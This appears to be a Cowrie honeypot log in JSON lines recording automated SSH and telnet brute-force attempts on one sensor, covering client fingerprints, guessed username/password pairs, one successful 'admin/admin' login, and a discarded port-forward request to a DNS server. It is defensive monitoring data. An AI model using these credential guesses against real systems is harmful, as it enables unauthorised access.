{"eventid":"cowrie.session.closed","duration":36.788650035858154,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:31.180538Z","src_ip":"192.119.13.58","session":"7ef172cfa20d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.22392797470093,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:32.616738Z","src_ip":"192.119.13.58","session":"eca752fe6f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":50730,"dst_ip":"159.203.135.109","dst_port":22,"session":"10bb842b9445","protocol":"ssh","message":"New connection: 43.153.39.191:50730 (159.203.135.109:22) [session: 10bb842b9445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:38.983115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:38.987486Z","src_ip":"43.153.39.191","session":"10bb842b9445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:39.056099Z","src_ip":"43.153.39.191","session":"10bb842b9445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jito-validator","message":"login attempt [root/jito-validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:39.359348Z","src_ip":"43.153.39.191","session":"10bb842b9445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:40.430354Z","src_ip":"43.153.39.191","session":"10bb842b9445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45608,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c8ca552fe94","protocol":"ssh","message":"New connection: 109.237.96.109:45608 (10.17.0.5:22) [session: 4c8ca552fe94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:03.935825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:03.941158Z","src_ip":"109.237.96.109","session":"4c8ca552fe94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:04.030896Z","src_ip":"109.237.96.109","session":"4c8ca552fe94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:04.302413Z","src_ip":"109.237.96.109","session":"4c8ca552fe94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:05.395629Z","src_ip":"109.237.96.109","session":"4c8ca552fe94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.193","src_port":50911,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee001934e09e","protocol":"ssh","message":"New connection: 195.184.76.193:50911 (10.17.0.5:22) [session: ee001934e09e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:07.293702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:07.310367Z","src_ip":"195.184.76.193","session":"ee001934e09e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:07.316773Z","src_ip":"195.184.76.193","session":"ee001934e09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:08.066119Z","src_ip":"195.184.76.193","session":"ee001934e09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.76491045951843,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:08.659331Z","src_ip":"192.119.13.58","session":"6b8d8357a702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":45818,"dst_ip":"10.17.0.5","dst_port":22,"session":"89b9ddab922e","protocol":"ssh","message":"New connection: 185.236.22.41:45818 (10.17.0.5:22) [session: 89b9ddab922e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:14.814528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:14.849993Z","src_ip":"185.236.22.41","session":"89b9ddab922e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:14.970667Z","src_ip":"185.236.22.41","session":"89b9ddab922e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.136","src_port":40517,"dst_ip":"10.17.0.5","dst_port":22,"session":"d936e63cbffd","protocol":"ssh","message":"New connection: 91.230.168.136:40517 (10.17.0.5:22) [session: d936e63cbffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:15.046710Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"strannik","message":"login attempt [root/strannik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:15.375278Z","src_ip":"185.236.22.41","session":"89b9ddab922e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:15.535718Z","src_ip":"91.230.168.136","session":"d936e63cbffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:16.022519Z","src_ip":"91.230.168.136","session":"d936e63cbffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49942,"dst_ip":"10.17.0.5","dst_port":22,"session":"b343a816277a","protocol":"ssh","message":"New connection: 87.251.64.176:49942 (10.17.0.5:22) [session: b343a816277a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:16.543286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:16.548413Z","src_ip":"87.251.64.176","session":"b343a816277a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:17.066448Z","src_ip":"87.251.64.176","session":"b343a816277a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:17.073499Z","src_ip":"185.236.22.41","session":"89b9ddab922e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:17.143571Z","src_ip":"91.230.168.136","session":"d936e63cbffd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:17.364038Z","src_ip":"87.251.64.176","session":"b343a816277a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:17.463707Z","session":"b343a816277a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:17.561623Z","src_ip":"87.251.64.176","session":"b343a816277a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:17.661444Z","src_ip":"87.251.64.176","session":"b343a816277a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":42771,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5b32463b16e","protocol":"ssh","message":"New connection: 2.57.121.25:42771 (10.17.0.5:22) [session: f5b32463b16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:23.566993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:23.571419Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:23.676110Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11021974","message":"login attempt [user/11021974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:24.163358Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10121981","message":"login attempt [user/10121981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:25.272548Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101180","message":"login attempt [user/101180] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:26.380918Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10111995","message":"login attempt [user/10111995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:27.489027Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10111978","message":"login attempt [user/10111978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:28.596071Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:29.704202Z","src_ip":"2.57.121.25","session":"f5b32463b16e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":32830,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f4f6ce9f01","protocol":"ssh","message":"New connection: 87.251.79.125:32830 (10.17.0.5:22) [session: a1f4f6ce9f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:31.087755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:31.092743Z","src_ip":"87.251.79.125","session":"a1f4f6ce9f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:31.164687Z","src_ip":"87.251.79.125","session":"a1f4f6ce9f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dolphin","message":"login attempt [root/dolphin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:31.377953Z","src_ip":"87.251.79.125","session":"a1f4f6ce9f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:32.452248Z","src_ip":"87.251.79.125","session":"a1f4f6ce9f01","protocol":"ssh"}
